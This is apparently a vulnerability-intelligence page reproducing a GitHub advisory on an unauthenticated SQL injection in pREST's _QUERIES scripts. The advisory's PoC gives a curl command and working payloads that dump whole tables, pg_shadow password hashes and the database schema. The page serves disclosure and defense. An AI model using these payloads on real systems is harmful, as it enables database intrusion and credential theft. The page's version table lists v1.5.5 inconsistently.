llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/prest/prest

GHSA-5RWC-2HG5-2HMC

SQL Injection via Unquoted Template Interpolation in pREST _QUERIES Scripts

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
8.6
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición115 dDesde la divulgación, 28 jul 2026, 9:57 p. m.
Detección113 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
Revisa tus logs de la semana con la lupa.Puede que hoy no pase nada. Puede.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
29 jul 26
15 oct 26
19 nov 26
21 nov 26
29 jul 26
27 ago 26
24 sept 26
23 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-5RWC-2HG5-2HMC divulgada · CVSS 8.6 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

SQL Injection via Unquoted Template Interpolation in pREST `_QUERIES` Scripts

Summary

pREST's custom `_QUERIES` script engine sanitizes request values with a character allow-list instead of binding them as parameters, and the allow-list is too permissive to constrain the SQL grammar. Its regex `^[a-zA-Z0-9_.:@/\ -]+$` blocks quotes, commas, and parentheses, but permits letters, digits, space, the cast token `::`, and the comment token `--`, which together compose arbitrary read-only SQL. Any custom template that interpolates a value in an unquoted context (for example `WHERE id = {{.id}}`, the exact idiom CVE-2025-58450 flagged as root cause) is therefore injectable. The route is unauthenticated by default, and because the official Docker image connects as the PostgreSQL superuser, an anonymous attacker achieves full-database read, including application password hashes and the database role's SCRAM hash. Code execution and writes are structurally prevented (parentheses and semicolons are blocked), so this is a read-only injection.

Details

`sanitizeScriptParam` (`controllers/script.go`) returns any allow-list-matching value verbatim, and `ParseScriptTemplate` (`adapters/postgres/script_runner.go`) renders it with Go `text/template` directly into the SQL string, which `QueryCtx` executes:

// controllers/script.go
var safeScriptParamRegex = regexp.MustCompile(`^[a-zA-Z0-9_.:@/\\ -]+$`)
func sanitizeScriptParam(value string) string {
    if safeScriptParamRegex.MatchString(value) { return value }  // returned verbatim
    return ""
}

A payload such as `0 UNION SELECT users::text FROM users` contains no blocked character, so it passes unchanged. The critical primitive is the Postgres whole-row `::text` cast: it packs every column of a relation into one value with no comma or concatenation, so even a single-column template exfiltrates arbitrarily wide tables and any data type through one `UNION` arm. The GET path wraps user SQL as `SELECT jsonb_agg(s) FROM (<template>) s` over the lib/pq extended protocol, which is why stacked statements and writes are unreachable, but arbitrary `SELECT` composition is not.

This is an incomplete fix of CVE-2025-58450: the remediation replaced raw interpolation with `sanitizeScriptParam`, but an allow-list of identifier characters plus space is sufficient to write `UNION` reads. The quoted-context template idiom (`'{{.x}}'`) is not affected, because the breakout quote is stripped.

Affected product: pREST (prest/prest), `prestd`, `/_QUERIES` script execution
Affected versions: v2.0.0 through v2.4.0 (latest), confirmed against v2.4.0. The `sanitizeScriptParam` allow-list is unchanged across every release, including the v2.4.0 remediation ("Fix six SQL-injection-adjacent security gaps found via advisory review"). That pass hardened the sibling `_groupby` allow-list `isSafeSQLExpression` (GHSA-v9v2-98xq-627c, patched in v2.4.0), but the `_QUERIES` template allow-list is a distinct code path and was left untouched, so this injection persists in the latest release.

PoC

With defaults (`auth.enabled=false`, `queries.restrict=false`) any `_QUERIES` script is reachable unauthenticated. The injection strings below are deployment-independent; only the endpoint and parameter name vary per target. Let `$BASE` be the pREST base URL, `$SCRIPT` any deployed query that interpolates a request value in an unquoted context (e.g. `... WHERE id = {{.id}}`), and `$P` its parameter name. Every payload uses only allow-listed characters (no quote, comma, or parenthesis):

curl -s --get "$BASE/_QUERIES/$SCRIPT" --data-urlencode "$P=<PAYLOAD>"

Reusable, deployment-independent `<PAYLOAD>` values (substitute any relation/column):

0 OR true                                            # defeat the row filter: return every row of the queried table
0 UNION SELECT <table>::text FROM <table>            # dump ALL columns of any table in one request (whole-row cast)
0 UNION SELECT passwd FROM pg_shadow                 # database role SCRAM hash (superuser default)
0 UNION SELECT table_name FROM information_schema.tables   # enumerate the schema, zero prior knowledge
0 UNION SELECT column_name FROM information_schema.columns # enumerate columns
0 UNION SELECT query FROM pg_stat_activity           # other sessions' in-flight SQL

For example, `$P=0 UNION SELECT users::text FROM users` returns a full user row such as `(1,alice@corp.example,$2b$12$K1x9...,t)` (id, email, bcrypt hash, admin flag), and `$P=0 UNION SELECT passwd FROM pg_shadow` returns `SCRAM-SHA-256$4096:fq/S0Q...:95LL2J...`. Function calls, file read, and writes fail: any payload needing `(`, `)`, or `;` (e.g. `pg_read_file('/etc/passwd')`, `1; DROP TABLE users --`) is blanked by the allow-list.

Impact

Unauthenticated SQL injection (CWE-89) yielding complete read disclosure of the database. An attacker reads any table the connection role can access, including application user records and password hashes, application secrets, and the full catalog, plus the role SCRAM hashes from `pg_shadow` under the Docker superuser default (offline-crackable, enabling a later direct database login). `pg_stat_activity` discloses other sessions' queries (CWE-522, CWE-200). There is no integrity or availability impact and no code execution through this vector: the allow-list reliably blocks the parentheses and semicolons required for function calls, stacked statements, and writes. Severity is contingent on a deployed `_QUERIES` template interpolating a request value in an unquoted (breakable) SQL context, which is the documented root-cause pattern.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
github.com/prest/prest≤ 2.4.0
v1.5.5
2.4.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/prest/prest
Sin parche — — v1.5.5 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/prest/prest/security/advisories/GHSA-5rwc-2hg5-2hmc

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.